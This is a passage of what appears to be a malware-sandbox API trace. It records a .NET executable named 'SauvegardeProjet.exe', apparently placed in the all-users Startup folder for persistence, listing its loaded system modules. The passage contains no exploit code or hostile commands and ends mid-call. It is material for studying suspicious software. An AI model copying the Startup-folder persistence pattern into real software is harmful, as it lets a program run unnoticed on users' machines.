CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.209] GetModuleFileNameExW (in: hProcess=0x288, hModule=0xfe0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x51 [0236.209] CoTaskMemFree (pv=0x6682db0) [0236.209] GetModuleInformation (in: hProcess=0x288, hModule=0x77b10000, lpmodinfo=0x25518f4, cb=0xc | out: lpmodinfo=0x25518f4*(lpBaseOfDll=0x77b10000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0236.209] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.209] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77b10000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0236.216] CoTaskMemFree (pv=0x6682db0) [0236.216] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.216] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77b10000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0236.216] CoTaskMemFree (pv=0x6682db0) [0236.216] GetModuleInformation (in: hProcess=0x288, hModule=0x736a0000, lpmodinfo=0x25539f8, cb=0xc | out: lpmodinfo=0x25539f8*(lpBaseOfDll=0x736a0000, SizeOfImage=0x4a000, EntryPoint=0x736a2e54)) returned 1 [0236.216] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.216] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x736a0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0236.216] CoTaskMemFree (pv=0x6682db0) [0236.216] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.216] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x736a0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0236.217] CoTaskMemFree (pv=0x6682db0) [0236.217] GetModuleInformation (in: hProcess=0x288, hModule=0x77540000, lpmodinfo=0x2555b04, cb=0xc | out: lpmodinfo=0x2555b04*(lpBaseOfDll=0x77540000, SizeOfImage=0x110000, EntryPoint=0x775532d3)) returned 1 [0236.217] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.217] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77540000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0236.217] CoTaskMemFree (pv=0x6682db0) [0236.217] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.217] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77540000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0236.217] CoTaskMemFree (pv=0x6682db0) [0236.217] GetModuleInformation (in: hProcess=0x288, hModule=0x75990000, lpmodinfo=0x2557c18, cb=0xc | out: lpmodinfo=0x2557c18*(lpBaseOfDll=0x75990000, SizeOfImage=0x46000, EntryPoint=0x75997478)) returned 1 [0236.217] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.217] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75990000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0236.218] CoTaskMemFree (pv=0x6682db0) [0236.218] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.218] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75990000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0236.218] CoTaskMemFree (pv=0x6682db0) [0236.218] GetModuleInformation (in: hProcess=0x288, hModule=0x773f0000, lpmodinfo=0x2559d60, cb=0xc | out: lpmodinfo=0x2559d60*(lpBaseOfDll=0x773f0000, SizeOfImage=0xa0000, EntryPoint=0x774049e5)) returned 1 [0236.218] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.218] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x773f0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0236.218] CoTaskMemFree (pv=0x6682db0) [0236.218] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.218] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x773f0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0236.219] CoTaskMemFree (pv=0x6682db0) [0236.219] GetModuleInformation (in: hProcess=0x288, hModule=0x77490000, lpmodinfo=0x255be74, cb=0xc | out: lpmodinfo=0x255be74*(lpBaseOfDll=0x77490000, SizeOfImage=0xac000, EntryPoint=0x7749a472)) returned 1 [0236.219] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.219] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77490000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0236.219] CoTaskMemFree (pv=0x6682db0) [0236.219] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.219] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77490000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0236.219] CoTaskMemFree (pv=0x6682db0) [0236.219] GetModuleInformation (in: hProcess=0x288, hModule=0x75f70000, lpmodinfo=0x255df80, cb=0xc | out: lpmodinfo=0x255df80*(lpBaseOfDll=0x75f70000, SizeOfImage=0x19000, EntryPoint=0x75f74975)) returned 1 [0236.220] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.220] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75f70000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0236.220] CoTaskMemFree (pv=0x6682db0) [0236.220] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.220] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75f70000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0236.220] CoTaskMemFree (pv=0x6682db0) [0236.220] GetModuleInformation (in: hProcess=0x288, hModule=0x758a0000, lpmodinfo=0x256008c, cb=0xc | out: lpmodinfo=0x256008c*(lpBaseOfDll=0x758a0000, SizeOfImage=0xf0000, EntryPoint=0x758b0569)) returned 1 [0236.220] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.220] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x758a0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0236.221] CoTaskMemFree (pv=0x6682db0) [0236.221] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.221] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x758a0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0236.221] CoTaskMemFree (pv=0x6682db0) [0236.221] GetModuleInformation (in: hProcess=0x288, hModule=0x75670000, lpmodinfo=0x25621e4, cb=0xc | out: lpmodinfo=0x25621e4*(lpBaseOfDll=0x75670000, SizeOfImage=0x60000, EntryPoint=0x7568a3b3)) returned 1 [0236.221] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.221] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75670000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0236.221] CoTaskMemFree (pv=0x6682db0) [0236.221] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.221] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75670000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0236.222] CoTaskMemFree (pv=0x6682db0) [0236.222] GetModuleInformation (in: hProcess=0x288, hModule=0x75660000, lpmodinfo=0x25642f0, cb=0xc | out: lpmodinfo=0x25642f0*(lpBaseOfDll=0x75660000, SizeOfImage=0xc000, EntryPoint=0x756610e1)) returned 1 [0236.222] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.222] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75660000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0236.222] CoTaskMemFree (pv=0x6682db0) [0236.222] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.222] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75660000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0236.223] CoTaskMemFree (pv=0x6682db0) [0236.223] GetModuleInformation (in: hProcess=0x288, hModule=0x73620000, lpmodinfo=0x2566404, cb=0xc | out: lpmodinfo=0x2566404*(lpBaseOfDll=0x73620000, SizeOfImage=0x78000, EntryPoint=0x7362f7ba)) returned 1 [0236.223] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.223] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73620000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0236.223] CoTaskMemFree (pv=0x6682db0) [0236.223] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.223] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73620000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0236.224] CoTaskMemFree (pv=0x6682db0) [0236.224] GetModuleInformation (in: hProcess=0x288, hModule=0x75db0000, lpmodinfo=0x256854c, cb=0xc | out: lpmodinfo=0x256854c*(lpBaseOfDll=0x75db0000, SizeOfImage=0x57000, EntryPoint=0x75dc9ba6)) returned 1 [0236.224] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.224] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75db0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0236.224] CoTaskMemFree (pv=0x6682db0) [0236.224] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.224] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75db0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0236.225] CoTaskMemFree (pv=0x6682db0) [0236.225] GetModuleInformation (in: hProcess=0x288, hModule=0x75810000, lpmodinfo=0x256a658, cb=0xc | out: lpmodinfo=0x256a658*(lpBaseOfDll=0x75810000, SizeOfImage=0x90000, EntryPoint=0x75826343)) returned 1 [0236.225] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.225] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75810000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0236.225] CoTaskMemFree (pv=0x6682db0) [0236.225] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.225] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75810000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0236.226] CoTaskMemFree (pv=0x6682db0) [0236.226] GetModuleInformation (in: hProcess=0x288, hModule=0x75e10000, lpmodinfo=0x256c75c, cb=0xc | out: lpmodinfo=0x256c75c*(lpBaseOfDll=0x75e10000, SizeOfImage=0x100000, EntryPoint=0x75e2b6ed)) returned 1 [0236.226] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.226] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75e10000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0236.226] CoTaskMemFree (pv=0x6682db0) [0236.226] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.226] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75e10000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0236.227] CoTaskMemFree (pv=0x6682db0) [0236.227] GetModuleInformation (in: hProcess=0x288, hModule=0x772c0000, lpmodinfo=0x256e868, cb=0xc | out: lpmodinfo=0x256e868*(lpBaseOfDll=0x772c0000, SizeOfImage=0xa000, EntryPoint=0x772c36a0)) returned 1 [0236.227] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.227] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x772c0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0236.227] CoTaskMemFree (pv=0x6682db0) [0236.227] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.227] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x772c0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0236.228] CoTaskMemFree (pv=0x6682db0) [0236.228] GetModuleInformation (in: hProcess=0x288, hModule=0x75a30000, lpmodinfo=0x2570964, cb=0xc | out: lpmodinfo=0x2570964*(lpBaseOfDll=0x75a30000, SizeOfImage=0x9d000, EntryPoint=0x75a63fd7)) returned 1 [0236.228] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.228] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75a30000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0236.229] CoTaskMemFree (pv=0x6682db0) [0236.229] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.229] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75a30000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0236.229] CoTaskMemFree (pv=0x6682db0) [0236.229] GetModuleInformation (in: hProcess=0x288, hModule=0x75ae0000, lpmodinfo=0x2572af4, cb=0xc | out: lpmodinfo=0x2572af4*(lpBaseOfDll=0x75ae0000, SizeOfImage=0x60000, EntryPoint=0x75af158f)) returned 1 [0236.229] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.229] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75ae0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0236.230] CoTaskMemFree (pv=0x6682db0) [0236.230] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.230] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75ae0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0236.230] CoTaskMemFree (pv=0x6682db0) [0236.230] GetModuleInformation (in: hProcess=0x288, hModule=0x75be0000, lpmodinfo=0x2574bf8, cb=0xc | out: lpmodinfo=0x2574bf8*(lpBaseOfDll=0x75be0000, SizeOfImage=0xcc000, EntryPoint=0x75be168b)) returned 1 [0236.230] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.231] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75be0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0236.231] CoTaskMemFree (pv=0x6682db0) [0236.231] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.231] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75be0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0236.231] CoTaskMemFree (pv=0x6682db0) [0236.231] GetModuleInformation (in: hProcess=0x288, hModule=0x73610000, lpmodinfo=0x2576cfc, cb=0xc | out: lpmodinfo=0x2576cfc*(lpBaseOfDll=0x73610000, SizeOfImage=0x9000, EntryPoint=0x73611220)) returned 1 [0236.232] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.232] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73610000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0236.232] CoTaskMemFree (pv=0x6682db0) [0236.232] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.232] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73610000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0236.233] CoTaskMemFree (pv=0x6682db0) [0236.233] GetModuleInformation (in: hProcess=0x288, hModule=0x72f40000, lpmodinfo=0x2578e08, cb=0xc | out: lpmodinfo=0x2578e08*(lpBaseOfDll=0x72f40000, SizeOfImage=0x6a8000, EntryPoint=0x73087040)) returned 1 [0236.233] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.233] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x72f40000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0236.233] CoTaskMemFree (pv=0x6682db0) [0236.233] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.233] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x72f40000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0236.234] CoTaskMemFree (pv=0x6682db0) [0236.234] GetModuleInformation (in: hProcess=0x288, hModule=0x75540000, lpmodinfo=0x257af38, cb=0xc | out: lpmodinfo=0x257af38*(lpBaseOfDll=0x75540000, SizeOfImage=0xf5000, EntryPoint=0x75594160)) returned 1 [0236.234] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.234] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75540000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0236.235] CoTaskMemFree (pv=0x6682db0) [0236.235] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.235] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75540000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0236.235] CoTaskMemFree (pv=0x6682db0) [0236.235] GetModuleInformation (in: hProcess=0x288, hModule=0x74310000, lpmodinfo=0x257d06c, cb=0xc | out: lpmodinfo=0x257d06c*(lpBaseOfDll=0x74310000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0236.236] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.236] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x74310000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0236.236] CoTaskMemFree (pv=0x6682db0) [0236.236] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.236] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x74310000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0236.237] CoTaskMemFree (pv=0x6682db0) [0236.237] GetModuleInformation (in: hProcess=0x288, hModule=0x77060000, lpmodinfo=0x257f214, cb=0xc | out: lpmodinfo=0x257f214*(lpBaseOfDll=0x77060000, SizeOfImage=0x15c000, EntryPoint=0x770aba3d)) returned 1 [0236.237] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.237] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77060000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0236.237] CoTaskMemFree (pv=0x6682db0) [0236.237] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.237] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77060000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0236.238] CoTaskMemFree (pv=0x6682db0) [0236.238] GetModuleInformation (in: hProcess=0x288, hModule=0x73e60000, lpmodinfo=0x2581318, cb=0xc | out: lpmodinfo=0x2581318*(lpBaseOfDll=0x73e60000, SizeOfImage=0x80000, EntryPoint=0x73e737c9)) returned 1 [0236.238] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.238] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73e60000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0236.239] CoTaskMemFree (pv=0x6682db0) [0236.239] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.239] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73e60000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0236.239] CoTaskMemFree (pv=0x6682db0) [0236.239] GetModuleInformation (in: hProcess=0x288, hModule=0x72590000, lpmodinfo=0x2583424, cb=0xc | out: lpmodinfo=0x2583424*(lpBaseOfDll=0x72590000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0236.240] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.240] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x72590000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0236.240] CoTaskMemFree (pv=0x6682db0) [0236.240] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.240] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x72590000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0236.241] CoTaskMemFree (pv=0x6682db0) [0236.241] GetModuleInformation (in: hProcess=0x288, hModule=0x71e70000, lpmodinfo=0x25855c0, cb=0xc | out: lpmodinfo=0x25855c0*(lpBaseOfDll=0x71e70000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0236.241] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.241] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x71e70000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0236.242] CoTaskMemFree (pv=0x6682db0) [0236.242] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.242] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x71e70000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0236.242] CoTaskMemFree (pv=0x6682db0) [0236.242] GetModuleInformation (in: hProcess=0x288, hModule=0x73c90000, lpmodinfo=0x258777c, cb=0xc | out: lpmodinfo=0x258777c*(lpBaseOfDll=0x73c90000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0236.243] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.243] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73c90000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0236.243] CoTaskMemFree (pv=0x6682db0) [0236.243] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.243] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73c90000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0236.244] CoTaskMemFree (pv=0x6682db0) [0236.244] GetModuleInformation (in: hProcess=0x288, hModule=0x73f00000, lpmodinfo=0x2589970, cb=0xc | out: lpmodinfo=0x2589970*(lpBaseOfDll=0x73f00000, SizeOfImage=0x7d000, EntryPoint=0x73f01140)) returned 1 [0236.244] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.244] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73f00000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0236.245] CoTaskMemFree (pv=0x6682db0) [0236.245] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.245] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73f00000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0236.245] CoTaskMemFree (pv=0x6682db0) [0236.245] GetModuleInformation (in: hProcess=0x288, hModule=0x76e30000, lpmodinfo=0x258bab0, cb=0xc | out: lpmodinfo=0x258bab0*(lpBaseOfDll=0x76e30000, SizeOfImage=0x8f000, EntryPoint=0x76e33fb1)) returned 1 [0236.246] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.246] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x76e30000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0236.246] CoTaskMemFree (pv=0x6682db0) [0236.247] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.247] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x76e30000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0236.247] CoTaskMemFree (pv=0x6682db0) [0236.247] GetModuleInformation (in: hProcess=0x288, hModule=0x73b00000, lpmodinfo=0x258dbc4, cb=0xc | out: lpmodinfo=0x258dbc4*(lpBaseOfDll=0x73b00000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0236.248] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.248] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73b00000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0236.248] CoTaskMemFree (pv=0x6682db0) [0236.248] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.248] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73b00000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0236.249] CoTaskMemFree (pv=0x6682db0) [0236.249] GetModuleInformation (in: hProcess=0x288, hModule=0x71210000, lpmodinfo=0x258fd90, cb=0xc | out: lpmodinfo=0x258fd90*(lpBaseOfDll=0x71210000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0236.249] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.249] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x71210000, lpBaseName=0x6682db0, nSize=0x800 | 